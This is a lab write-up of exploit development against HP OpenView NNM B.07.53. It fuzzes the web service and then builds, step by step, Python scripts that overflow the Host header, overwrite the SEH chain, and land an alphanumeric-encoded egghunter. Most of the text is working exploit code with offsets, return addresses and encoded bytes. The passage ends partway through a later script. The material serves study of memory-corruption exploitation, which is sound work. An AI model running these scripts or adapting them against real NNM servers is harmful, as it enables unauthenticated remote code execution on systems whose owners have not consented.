Exploiting HP OpenView NNM - B.07.53

In DEFCON #16, there was an interesting session on HP OpenView NNM exploitation - “from bug to 0 day” presented by muts. While watching his walkthrough, I found that particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take it as an exercise and reproduce the same in my local environment.

Environment & tools

  • 32 bit windows server 2003-R2-SP2 (disabled DEP, enabled ASLR)
  • HP NNM release - B.07.53
  • Immunity Debugger v1.85, mona.py v2.0
  • Python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
  • Spike fuzzer

Web Interface

Installed HP OpenView NNM (release - B.07.53) in Windows 2003-R2-SP2 platform.

Browsed it’s web interface - http://172.16.232.178:7510/topology/home to verify everything was up and running.

hpnnm-version

Fuzz variables

Tried to crash the application by fuzzing the HTTP request.

Sniffed the HTTP traffic through Wireshark.

Saved the entire browsing session to figure out all valid requests headers \ parameters.

http-sniff

Created a spike template - http.spk to reproduce the similar HTTP request with 6 fuzz points/variables.

http-spike

Process - ovas.exe

ovas.exe process was responsible for listening connection on TCP port 7150.

ovas-process

Fuzz & Crash

Attached and run the ovas.exe process inside Immunity.

Started fuzzing through Spike HTTP template http.spk.

1
generic_send_tcp 172.16.232.178 7510 http.spk 0 0

While fuzzing the 2nd variable - s_string_variable(172.16.232.178), application crashed.

Verified and confirmed the same by inspecting the host header in memory dump.

crash

Analysing the crash scenario

  • SEH and nSEH both were overwritten by fuzz buffer “A”.
  • ESP + 0x4C pointed at the 1025-th byte of our fuzz buffer.
  • Approximate 2048 bytess buffer was used for this crash.
  • It would possible to control / overwrite the EIP after passing the exception to the program.

The bug

HP OpenView NNM - B.07.53 did not validate the value of host header during processing any unauthenticated HTTP request. As a result, an attacker could crash the application and overwrite the SEH chain by appending a large buffer after host header.

Proof of concept

Restarted ovas.exe and attached it within Immunity.

Set up the working directory of mona.py.

!mona config -set workingfolder c:\mona-logs\%p

Sent the 2048 bytess buffer to verify and reproduce the same crash with a stand alone python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python

# file name: hpnnm-B.07.53-exploit-v1.py
# author: greyshell
# description: crash with buffer length = 2048 (identified during fuzzing)

import socket
import os
import sys

# original crash buff length = 2048
buff = 2048 * "A"
crash = buff

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(buff)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

Best buffer length

Started playing with different buffer length and tried to figure out the maximum length of the fuzz buffer that produces same crash.

After analysing different crashes, it was obeserved that 3780 bytes buffer would be a good choice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v2.py
# author: greyshell
# description: crash ovas.exe with best buffer length = 3780

import socket
import os
import sys

# max crash buff length = 3780
buff = 3780 * "A"
crash = buff

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(buff)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

nSEH & SEH offsets

Created 3780 bytes unique pattern through mona.py.

!mona pattern_create 3780

Then copied those bytess from C:\mona-logs\ovas\pattern.txt and updated the skeleton code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v3.py
# author: greyshell
# description: find the offset for nSEH and SEH through unique pattern

import socket
import os
import sys

# max crash buff length = 3780

# !mona pattern_create 3780

buff = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9")


crash = buff

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(buff)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

During crash, inspected the fs:[0] register / SEH chain.

Selected the first corrupted-entry and followed address in stack.

overflow-seh-chain

It was observed that

  • nSEH was overwritten with pattern => 32674531
  • SEH was overwritten with pattern => 45336745

Leveraged mona.py to find the correct offsets:

  • nSEH offset: !mona pattern_offset 32674531 => 3305
  • SEH offset: !mona pattern_offset 45336745 => 3309

finding-seh-offset

To verify those offsets, divided the original buffer into four different blocks - A, B, C, D and updated the skeleton code with identified offset values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v4.py
# author: greyshell
# description: verifiying nseh and seh offset

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

buff_initial = "A" * 3305

nseh = "BBBB"
seh = "CCCC"

buff_last = "D" * (total_len - len(buff_initial) - len(nseh) -len(seh))

crash = buff_initial + nseh + seh + buff_last

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

During crash, the entire buffer was laid in memory as expected.

verify-seh-offset

Calculated the length of D buffer = 464 bytess. But this buffer length was too small to accommodate the final payload.

length of d block

POP POP RET

Tried to identify which modules were not compiled with SafeSEH and ASLR.

  • !mona nosafesehaslr

There were plenty of options.

mona output - nosafesehaslr

Selected jvm.dll module and picked up a PPR address => 0x6D6FA245

  • !mona seh -m jvm.dll

ppr address from jvm.dll

Updated the skeleton code in little endian order = \x45\xa2\x6f\x6d.

After that, set up a breakpoint at 0x6D6FA245 to verify if would possible to land on that address safely during crash.

breakpoint-0x6d6e394a.png

But during crash, when the exception was passed to the program, SEH address had been mangled into 0xA2BEEF45 (little endian order: \x45\xef\xbe\xa2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v5a.py
# author: greyshell
# description: choose any ppr address - i.e. 0x6d6fa245  from seh.txt

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

buff_initial = "A" * 3305

nseh = "BBBB"

# 0x6d6fa245: pop eax # pop ebp # ret 0x0c |  {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll
seh = "\x45\xa2\x6f\x6d"

buff_last = "D" * (total_len - len(buff_initial) - len(nseh) -len(seh))

crash = buff_initial + nseh + seh + buff_last

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

mangled ppr address

It looked like some character translation / filtering had been applied on the buffer. So, it was required to find a bad char friendly PPR address.

Bad & good chars

Tried to automate the bad chars detection process using autoDetectBadchar.py.

Note: During crash, ESP + 0x4c pointed at the 1025-th bytes of the fuzz buffer.

Algorithm in brief

  • Start the ovas.exe process: ovstop -c ovas && ovstart -c ovas
  • While sending the buffer, place a test-char at the 1025-th position
  • if (application does not crash) OR (ESP + 0x4c does not have the same char during crash time)
    • then consider that test-char as bad and write it down in badchars.txt
  • else
    • consider that test-char as good then write it down in goodchars.txt
  • Kill the ovas.exe process: taskkill /f /im ovas.exe
  • Verify another test-char from allchar set and repeat the same process

detect-bad-char-HPNNM-B.07.53.py output

Safe POP POP RET

Run findingSafeAddress.py to identify all safe PPR address from seh.txt.

finding-safe-ppr.py output

Picked up the first address - 0x6d6e394a and set up a breakpoint to verify that.

breakpoint at 0x6d6e394a

Fired the below exploit code updated with safe PPR address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v5b.py
# author: greyshell
# description: choose safe ppr address - 0x6d6e394a from seh.txt/safe-ppr-HPNNM-B.07.53.txt

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

buff_initial = "A" * 3305

nseh = "BBBB"

# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll)
seh = "\x4a\x39\x6e\x6d"

buff_last = "D" * (total_len - len(buff_initial) - len(nseh) -len(seh))

crash = buff_initial + nseh + seh + buff_last

buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

As expected, this time that address did not mangled during crash.

0x6d6e394a did not mangled during crash

Passed the exception and landed on the breakpoint.

land into 0x6d6e394a

Stepped through POP POP RET and finally jumped into nSEH.

reach to nseh

Jump over SEH

Initial objective was to write a jump code within 4 bytes and jump over SEH to meet D buffer. But short jump (\xeb) was fallen into bad char set.

To overcome the situation, used findingSafeInstructions.py to identify all safe instructions and found that conditional jump instructions are safe to execute.

finding safe opcode JA

Conditional jump JA (\x77) occurs when

  • CF = 0 and ZF = 0
  • Jump must be within -128 to +127 bytes of the next instruction.

In this situation, at crash point, it is noticed that ZF = 1 and CF = 0.

So in order to make ZF = 0 and satisfy the jump condition, decreased EAX.

  • DEC EAX => \x48 safe char

Note: Had met the flag condition (ZF = 0) while executing in 1st decrement, 2nd decrement was used just to fill the space.

Selected the jump offset = \x04 that was also a safe char to jump over SEH and meet the D buffer.

Updated the skeleton code to overwrite nSEH with \x48\x48\x77\x04 and set a break point at 0x6d6e394a.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v6.py
# author: greyshell
# description: jump over SEH and meet D buffer block

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

buff_initial = "A" * 3305

# 1035FE34   48               DEC EAX
# 1035FE35   48               DEC EAX
# 1035FE36   77 04            JA SHORT 1035FE59
# little edian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
nseh = "\x48\x48\x77\x04"

# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll)
seh = "\x4a\x39\x6e\x6d"

buff_last = "D" * (total_len - len(buff_initial) - len(nseh) -len(seh))

crash = buff_initial + nseh + seh + buff_last
buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"
print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

During crash, breakpoint was hit and after stepping through POP POP RET, control went on the nSEH.

After that it executed all instructions placed on nSEH and finally jumped forward 4 bytes and met D buffer.

jump over seh

At this point, roughly 464 bytes space left in D buffer for the final shellcode. But, this space had charset limitation. So, any encoded version of shellcode would not fit here.

However, this 464 bytes space can be utilize to implement a stage 1 payload such as egghunter that would connect the stage 2 payload at runtime.

Egghunter

Initial plan was to write the egghunter code directly inside D buffer region. But there were many challenges

  • D buffer region was suffering from character translation.
  • It would possible to use metasploit encoder to encode the egghunter eliminating all bad chars but the output payload size would be so large that would not fit inside the D buffer region.

Due to this it was required to

  • write a custom encoder using allowed operations - such as AND, SUB and PUSH.
  • expand the original egghunter reversely after encoded egghunter.
  • generate ESP address dynamically to bypass ASLR protection.

After the jumped over nSEH, it was noticed that ESP points to nSEH. It was just 8 bytes away from present program counter.

Due to this it would be easy to pop out that value into EAX and get hold of the program counter to perform further address calculation.

Pointed ESP 300 bytes ahead of present program counter and keep the egg marker T00WT00W at the beginning of buffer followed by Initial A buffer = 3297 bytes, nSEH = 4 bytes, SEH = 4 bytes, ESP set up logic = 7 bytes, encoded egghunter = 208 bytes, remaining final A buffer.

1
2
3
4
58               POP EAX
66:05 2C01       ADD AX,12C
50               PUSH EAX
5C               POP ESP

Replaced the last “D” buffer block with A buffer block because during runtime, CPU interprets D buffer (\x44) as INC ESP. So it could corrupt the ESP alignment.

But A buffer (\x41) would be interpreted as INC ECX and ECX register was not use anywhere to build the encoder. So it would not break / corrupt any logic. Basically It would act like a NOP-equivalent safe instruction.

Custom encoder (alphaNumEncoder)

Used alphaNumEncoder.py - that basically encodes the original egghunter using safe chars and operations - AND, SUB, PUSH and update the skeleton code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v7.py
# author: greyshell
# description: encoded egghunter payload using alphaNumEncoder 

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

egg_marker = "T00WT00W"
buff_initial = egg_marker + "A" * 3297
# buff_initial = "A" * 3305

# 1035FE34   4C               DEC ESP
# 1035FE35   4C               DEC ESP
# 1035FE36   77 04            JA SHORT 1035FE59
# little edian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
nseh = "\x4c\x4c\x77\x04"

# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll)
seh = "\x4a\x39\x6e\x6d"

# setting up ESP dynamically bypassing ASLR protection
# 2216FDF0   58               POP EAX
# 2216FDF8   66:05 2C01       ADD AX,12C
# 2216FDF6   50               PUSH EAX
# 2216FDF7   5C               POP ESP

espSetUp = ("\x58\x66\x05\x2c\x01\x50\x5c")

alphaNumEncoding = ("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

# Replaced the "D" buffer with "A" buffer to protect from ESP corruption
buff_last = "A" * (total_len - len(buff_initial) - len(nseh) - len(seh) - len(espSetUp) - len(alphaNumEncoding))

crash = buff_initial + nseh + seh + espSetUp + alphaNumEncoding + buff_last
buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
buffer += "Host: " + crash + "\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer += "Content-Length: 1048580\r\n\r\n"

print "[*] Sending evil HTTP request to HP NNM -B.07.53, buffer length: ", len(crash)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.232.178", 7510))
expl.send(buffer)
expl.close()

While executing first PUSH EAX, it decoded and wrote the last 4 bytes of original egg hunter at the address pointed by ESP.

For every PUSH instruction, ESP shifted 4 bytes toward low memory.

Finally it reached at the beginning of the expanded egghunter after 8th PUSH.

begining_of_egghunter

When the egghunter code run, it found the egg - T00WT00W and passed the execution control.

found_egg

Code cave

If we place another large buffer at the end of HTTP request as POST data then would it affect the entire crash?

To examine that scenario, created msfpattern of 1500 bytes and sent this new buffer as POST data.

  • !mona pattern_create 1500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python 

# file name: hpnnm-B.07.53-exploit-v8.py
# author: greyshell
# description: finding the right place for final payload

import socket
import os
import sys

# max crash buff length = 3780
# nSEH offset = 3305, SEH offset = 3309
total_len = 3780

buff_initial = "A" * 3305

# 1035FE34   4C               DEC ESP
# 1035FE35   4C               DEC ESP
# 1035FE36   77 04            JA SHORT 1035FE59
# little edian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
nseh = "\x4c\x4c\x77\x04"

# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll)
seh = "\x4a\x39\x6e\x6d"

buff_last = "D" * (total_len - len(buff_initial) - len(nseh) -len(seh))

crash = buff_initial + nseh + seh + buff_last

# Generate msf pattern of 1500 bytes
